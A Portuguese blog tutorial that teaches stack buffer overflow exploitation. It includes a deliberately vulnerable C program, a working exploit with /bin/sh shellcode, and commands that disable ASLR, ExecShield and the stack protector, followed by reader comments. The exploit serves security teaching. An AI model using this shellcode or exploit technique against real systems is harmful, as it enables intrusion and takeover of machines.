Exploiting Buffer Overflow

No artigo anterior entendemos o que é e como ocorre uma falha de buffer overflow. Vimos que o programa travava e apresentava a mensagem de “Segmentation fault” quando era passada uma string muito grande. Isso ocorreu porque a string sobrescreu vários segmentos da memória que estavam após o buffer, inclusive segmentos responsáveis por “controlar” a execução do programa.

Hoje iremos entender melhor porque isso ocorre e a partir disso conseguiremos explorar essa vulnerabilidade e obter o controle do programa para executarmos o que quisermos.

O que é a Pilha?

Em poucas palavras, a pilha (stack) é um local reservado da memória (RAM) onde o programa armazena as variáveis locais de uma função e controla a execução de um programa. Um espaço específico da pilha reservado para uma função é chamada de stack frame.

Cada elemento da pilha, assim como uma pilha de pratos, é colocado em cima do outro, e para a retirada é o processo inverso, retira-se os que estão em cima primeiro.

Sendo assim o primeiro elemento colocado na pilha será o último a ser retirado, o termo utilizado para descrever isso é FILO (First In, Last Out). Em Assembly o comando PUSH insere elementos na pilha e o POP retira esses elementos.

A memória utilizada por um programa é dividida em segmentos, dependendo da arquitetura do processador ou sistema operacional pode ser de 32 bits ou 64 bits por exemplo. Cada segmento tem um endereço e armazena algum tipo de informação. Um segmento de memória pode, por exemplo, ser endereçado em hexadecimal assim:

0xbffffffe

Isso representa o endereço de um segmento de memória de 32 bits. Os endereços de memória na pilha crescem do endereço maior para o menor. Se um programa reserva 24 bytes de memória para variáveis locais, então seriam reservados esses seguimentos:

0xbfffffd8 – 4ª variável
0xbfffffdc – 4ª
0xbfffffe0 – 4ª
0xbfffffe4 – 3ª variável
0xbfffffe8 – 2ª variável
0xbfffffec – 1ª variável

A primeira variável inserida na pilha seria no endereço 0xbfffffec, a segunda em 0xbfffffe8 e a terceira em 0xbfffffe4, cada uma ocuparia apenas um segmento de memória caso tivessem 4 bytes de tamanho. Inserindo uma quarta variável de 12 bytes o endereço dela seria 0xbfffffd8 e ocuparia os 3 segmentos seguintes.

Repetindo, a pilha cresce do endereço MAIOR para o MENOR.

Registradores

Registradores são locais no processador utilizados para armazenar dados temporariamente. Como estão dentro do processador o acesso a eles é muito mais rápido do que o acesso a memória RAM. Existem vários tipos de registradores, é interessante conhecermos alguns:

EAX, EBX, ECX, EDX – Registradores de uso geral, utilizados para manipular dados.

EBP – Extended Base Pointer, geralmente aponta para o início ou base da pilha.

ESP – Extended Stack Pointer, aponta para o topo da pilha.

EIP – Extended Instruction Pointer, aponta para o endereço da próxima instrução a ser executada.

Construção de um Stack Frame

Agora entenderemos como um stack frame é construído, ou seja, como é reservado um espaço na memória para uma função quando ela é chamada. É importante entender tudo isso porque depois a construção do exploit se tornará mais simples.

Vamos utilizar a pilha criada anteriormente, imaginemos um programa com o seguinte código:

main(int argc, char *argv[]){
    exibir(argv[1]);
    printf(“OK”);
}

exibir(char *arg[]){
    char nome1[4], nome2[4], nome3[4];
    char nome4[12];
    strcpy(nome4, arg);
    …
}

Em (dis)assembly, uma representação simplificada desse código seria:

main:

0x00400000 PUSH argv[1]
0x00400004 CALL exibir
0x00400008 PUSH “OK”
0x0040000c CALL printf

exibir:

0x004000c0 PUSH EBP
0x004000c4 MOV EBP, ESP
0x004000c8 SUB ESP, 18h
0x004000cc MOV EAX, [EBP+8]
0x004000d0 MOV [EBP-18], EAX
0x004000e0 ADD ESP, 18h
0x004000e4 MOV ESP, EBP
0x004000e8 POP EBP
0x004000ec RET

Na função “main” primeiro é colocado na pilha o parâmetro da função “exibir” com o comando PUSH e então é chamada a função com o CALL. Quando o CALL é executado sempre é PUSH'ado na pilha o endereço que está no registrador EIP, que vocês se lembram aponta para a próxima instrução a ser executada.

No nosso programa o EIP armazenaria 0x00400008 que é a instrução após o CALL, isso é o endereço de retorno da função, para o programa saber de onde continuar depois que a função chamada terminar.

Então a execução do programa é redirecionada para a função “exibir” que se inicia no endereço 0x004000c0. As três linhas inicias são conhecidas como function prologue, são as reponsáveis por configurar o espaço na pilha para a função. E as três últimas são chamadas de function epilogue que restauram os valores, desfaz a pilha.

Graficamente será mais fácil de entender, vejamos como ficará nossa pilha após a execução da função “exibir”.


Como vemos, o EBP (base pointer) aponta para o início do stack frame da função e o ESP (stack pointer) aponta para o topo da pilha.

Dentro da função “exibir” quando o programa quiser trabalhar com as variáveis locais, ele acessará por EBP-4 (nome1), EBP-8 (nome2), EBP-C (nome3) e EBP-18 (nome4). Quando quiser acessar a variável passada como parâmetro o endereço será EBP+8.

Exemplo:

MOV EAX, [EBP-C] // move o valor da variável nome3 para o registrador EAX
MOV EBX, [EBP+8] // move o valor do parâmetro para o registrador EBX

Lembre-se:
EBP – XX = acesso a variável local
EBP + XX = acesso a parâmetro da função

Isso é muito útil quando fazemos engenharia reversa.

Voltando para nossa pilha... A variável nome4 possui 12 bytes, se inserirmos nela 32 bytes vai ocorrer um buffer overflow, sobrescreverá tudo que estiver abaixo dela: as outras variáveis, o EBP e por fim o endereço de retorno (EIP), assim quando o programa tentar retornar vai encontrar um valor qualquer no EIP e não conseguirá continuar, vai travar. Isso é a Segmentation fault.

Exploitation

Um exploit se beneficia dessa capacidade de sobrescrever o endereço de retorno da função, ao invés de sobrescrevê-lo com um valor qualquer o exploit insere um valor minuciosamente calculado.

Vamos comparar a pilha original com uma criada por um exploit.

Na pilha do exploit, quando o programa buscar o endereço de retorno na pilha em 0xbffffff4, ele encontrará o valor 0xbfffffd8 e vai executá-lo voltando para o início da pilha, encontrará a instrução NOP (No-Operation, código 0x90), essa instrução como o próprio nome diz não faz nada, só pula para a instrução de baixo.

A execução vai escorregando pelos NOPs, isso é chamado de NOP-Sled, até chegar na instrução “execute /bin/sh”, que no Linux fará com que execute o shell “sh”. O shell é executado e o atacante obtém o controle do sistema operacional podendo executar os comandos que quiser no sistema, se o programa explorado possuir permissão de root.

Essa é a grande jogada de um exploit, explora e controla uma falha no programa (vulnerabilidade) para obter o controle do sistema ou executar o que desejar. Na prática o código não é tão simples assim mas a lógica é essa.

Praticando os conceitos

Agora vamos ver como tudo isso funciona na prática.

Vou criar o programa vulneravel.c com esse código:

// vulneravel.c

#include <stdio.h>

void exibe(char arg[])
{
 char buffer[64];
 strcpy(buffer, arg);
 printf("Voce digitou: %s\n",buffer);
}

int main(int argc, char *argv[])
{
 exibe(argv[1]);
 return 0;
}

É um programa com uma vulnerabilidade de buffer overflow, a variável “buffer” possui 64 bytes de tamanho mas através do parâmetro podemos passar uma string do tamanho que quisermos, se a string for muito grande ocorrerá a Segmentation fault.


Vamos começar a construir nosso exploit para ele. Baseando-se na explicação anterior sobre a pilha do exploit, se a variável “buffer” possui 64 bytes, quantos bytes precisaríamos para sobrescrever a pilha e chegar até o endereço de retorno da função “exibe”?

64 bytes (buffer) + 4 bytes (EBP) + 4 bytes (retorno) = 72 bytes

Já sabemos o tamanho, agora precisamos descobrir em qual endereço da pilha será inserida a variável “buffer” pois utilizaremos esse endereço para sobrescrever o retorno original, no exemplo lembram que utilizamos o 0xbfffffd8 para retornar ao início da pilha.

Existem várias maneiras de descobrir isso, a que eu achei mais fácil de entender e executar foi utilizando o GDB, The GNU Project Debugger, é um debugger/disassembler assim como o OllyDbg, mas é para o Linux e executado na linha de comando.

Primeiro compilamos nosso vulneravel.c com o comando:

gcc -g -o vulneravel vulneravel.c

A opção “-g” é para inserir mais informações de debugger no arquivo. Depois executamos o GDB chamando nosso programa com o comando:

gdb -q ./vulneravel

O “-q” é para omitir a mensagem de boas-vindas do programa. Depois usamos o comando “list” para exibir as linhas do programa, colocamos um breakpoint com o comando “break 6”, isto é, na 6ª linha, bem após a variável “buffer” receber seu valor.


Agora podemos executar o programa, vamos passar como parâmetro uma string com exatamente 64 bytes, ou 64 “A”s, o comando é:

run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...

Dica: podemos utilizar o Perl para imprimir os 64 “A”s ao invés de digitar um por um, o comando ficaria:

run $(perl -e “print 'A'x64”)

A execução para bem no nosso breakpoint, uma maneira simples de descobrir em qual endereço está a variável “buffer” é executando:

x/x buffer

Significa: examine (x) a variável buffer e apresente o resultado em hexadecimal (x).


Como podemos ver o resultado foi:

0xbffffadc: 0x41414141

A variável buffer está no endereço 0xbffffadc e contém 0x41414141, 0x41 é o código hexadecimal para a letra A, podem conferir na tabela ASCII. :)

Agora já sabemos o tamanho do buffer para sobrescrever o endereço de retorno e o endereço da variável buffer, só nos resta saber como fazer o programa executar o shell “sh” do linux.

No exemplo eu coloquei “execute /bin/sh”, mas o computador não entende isso, ele entende linguagem de máquina, temos que passar pra ele os comandos na linguagem que ele entende.

Assim como ele sabe que o código hexadecimal 0x90 equivale ao NOP do Assembly, existem inúmeros outros códigos que representam os outros comandos, são chamados de opcodes.

Os opcodes que iremos utilizar são esses:

"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh#"

Essa sequência é chamada de shellcode, ou seja, o código para se obter o shell, não vou explicar como ele é construído, isso renderia vamos posts, por enquanto basta sabermos que são códigos hexadecimais que representam a instrução “execute /bin/sh”.

Já temos todas as informações necessárias para construir o exploit do nosso programa vulnerável, agora é só colocarmos tudo junto em um programa.

O código-fonte do nosso exploit.c é esse:

// exploit.c

#include <stdio.h>

static char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh#";

#define NOP 0x90   // codigo hex do NOP
#define LEN 64+8   // tamanho do buffer para sobrescrever o retorno
#define RET 0xbffffadc          // endereço de retorno do início do buffer

int main()
{
 char buffer[LEN]; // cria uma variavel com 72 bytes
 int i;

 for(i=0;i<LEN;i++)
  buffer[i]=NOP; // preenche a variavel inteira com NOPs

 // copia para a memoria a variavel com o shellcode no final dela,
 // só reservando os últimos 4 bytes para o endereço de retorno
 memcpy(&buffer[LEN-strlen(shellcode)-4], shellcode, strlen(shellcode));
 
 // copia para os 4 últimos bytes o endereço de retorno
 *(int*)(&buffer[LEN-4]) = RET;

 // executa o programa ./vulneravel passando como parametro a variavel buffer criada
 execlp("./vulneravel","./vulneravel",buffer,NULL);

 return 0;
}

Praticamente eu já expliquei tudo o que ele faz, vai sobrescrever a pilha com as informações previamente calculadas da mesma forma que foi demonstrado no exemplo anterior.

Exploit compilado e chegamos no momento tão esperado, a execução do exploit!


Perfeito! Tudo conforme planejamos, através de uma vulnerabilidade conseguimos obter o shell de um sistema, a partir disso teríamos o caminho livre para a exploração da máquina.

Considerações finais

Lembrando novamente que esse foi um ambiente controlado e propício para a exploração, utilizei a distro Debian 3.0 R4 e o gcc 2.95.4-14, que são versões bem antigas que ainda não tinham implementadas várias proteções contra exploração de stack overflow. As distros atuais possuem uma série de melhorias mas também é possível desabilitá-las para reproduzir os exemplos.

A ideia do artigo é demonstrar a lógica de um exploit, isso não muda, e também servir como um ponto de partida para estudos mais avançados. Mesmo existindo as proteções sempre há falhas e meios de explorá-las. Cabe aos profissionais de segurança e desenvolvedores de softwares conhecê-las para melhor proteger seus sistemas.

Espero que tenham gostado, dúvidas só deixar um comentário.

Adicionado em 15/03/2011:

Para reproduzir os exemplos desse artigo em distribuições Linux mais atuais é necessário desativar algumas proteções, faça o seguinte:

- Debian e Ubuntu based, desativar ASLR:

echo 0 > /proc/sys/kernel/randomize_va_space

- Red Hat based, desativar ASLR e DEP (ExecShield):

echo 0 > /proc/sys/kernel/exec-shield-randomize

echo 0 > /proc/sys/kernel/exec-shield

- GCC a partir da versão 4.1 compilar com diretiva -fno-stack-protector, exemplo:

gcc -fno-stack-protector -o overflow overflow.c

Fiz o teste no Debian 5.0.3 com GCC 4.3.2-2 e funcionou corretamente.

Leia também outros artigos relacionados a programação low-level.


Ronaldo Lima
crimesciberneticos.com | twitter.com/crimescibernet

10 comentários:

  1. Vlw Ronaldo! Inclusive está sendo feita uma lista do Top 100 Hackers do Brasil e te indiquei la!
    Esperando pelo curso de Exploits!
    Abraço!

    ResponderExcluir
  2. Qual compilador de C++ você usa no Windows? Baixei o Visual C++ Express da Microsoft, mas achei muito complicado trabalhar com esse .NET .

    ResponderExcluir
  3. Olá Gilberto,

    Quando quero fazer um programa rápido com janelas eu utilizo o Borland C++ Builder 6. Para programas mais simples uso o Bloodshed Dev-C++ (http://www.bloodshed.net/devcpp.html) que é baseado no GCC.

    Se eu não me engano o Visual C++ Express que vc está utilizando também dá pra usar só pela linha de comando igual o GCC.

    Abraço!

    ResponderExcluir
  4. Meu exploit não funcionou.
    ./exploit
    Voce digitou: êêêêêêêêêêêêêêêêêêêêêêêêêêêêêêÎ^â1¿àFâF

    âÛç1“ÕÄˉˇˇˇ/bin/sh#‹˙ˇøH
    Segmentation fault

    Como eu arrumo o shellcode ?? Será que eh pq eu to usando 64bits ??

    ResponderExcluir
  5. Olá Lucmaga,

    O problema não é o no shellcode, provavelmente é porque está utilizando o 64 bits, não cheguei testar nessa plataforma. O Exploit não deve estar conseguindo sobrescrever corretamente o endereço de retorno EIP.

    Você pegou o endereço do buffer com o GDB? O endereço do seu vai ser diferente do meu, aí vc deve alterar no exploit.

    Pode tentar instalar um Linux 32 bits numa máquina virtual para fazer os testes também. Ah, e não se esqueça de desativar as proteções.

    Abraço!

    ResponderExcluir
  6. Bem ronaldo muito bem explicado só encontrei um defeito ao que se refere bytes e bits, você em determinados momentos do tutorial se refere a inserir 64bytes de caracteres AAAAA....até 64.

    retificando que 1 byte tem 8 bits
    se fossem 64 bytes isso daria muitos caracteres, equivale a 512 bits.

    então creio que quando se referiu a 64 bytes( a sintaxe correta seria 64 bits de caracteres).

    64 bits
    um A = 1 bit e assim por diante, até os 64.

    creio também que nesta parte abaixo:

    char buffer[64];

    a variável não é buffer, o tipo da variável seria char e o buffer é a limitação de alocamento desta variável.



    att, felipe.
    corrija-me se eu estiver errado por favor.

    um abraço e é um ótimo site!

    ResponderExcluir
  7. Olá Felipe, agradeço os comentários, legal que gostou do blog.

    Na verdade o post não está errado, são sim 64 bytes de caracteres 'A', cada caracter tem 1 byte ou 8 bits.

    1 bit só pode ser 0 ou 1, não tem como representar o caracter 'A' com apenas 1 bit, são necessários 8 bits de acordo com a tabela ASCII.

    Se vc olhar a tabela [1] verá que o 'A' é representado pelo hexadecimal 0x41. Convertendo 0x41 para binário:

    01000001

    8 bits = 1 byte

    Concluindo, para representar 64 caracteres 'A' são necessários 64 bytes ou 512 bits. Certo?

    Já se fosse UNICODE seria o dobro, já que para cada caracter UNICODE é necessário 2 bytes.

    A segunda dúvida, 'char' é o tipo da variável, 'buffer' é o nome que escolhi para a variável e '[64]' é o tamanho dessa variável, quantos caracteres ela suporta.

    Abraços,
    Ronaldo

    [1] http://www.asciitable.com/

    ResponderExcluir
  8. Este comentário foi removido pelo autor.

    ResponderExcluir
  9. muito obrigado por me corrigir e desculpe eu me colocar dizendo que estava errado seu post, me coloquei de forma errada, muito obrigado por explicar, já me tornei usuário diário, acessei fazem 2 dias pela primeira vez e desde então permaneço horas lendo seus posts e tentando da conta do conteúdo. você é muito bom!

    ótimo trabalho! perfeito

    ResponderExcluir
  10. Muito bom, tenho que apresenta um trabalho sobre auditoria e segurança de sistemas, vou utilizar seu exemplo

    ResponderExcluir

Related Posts Plugin for WordPress, Blogger...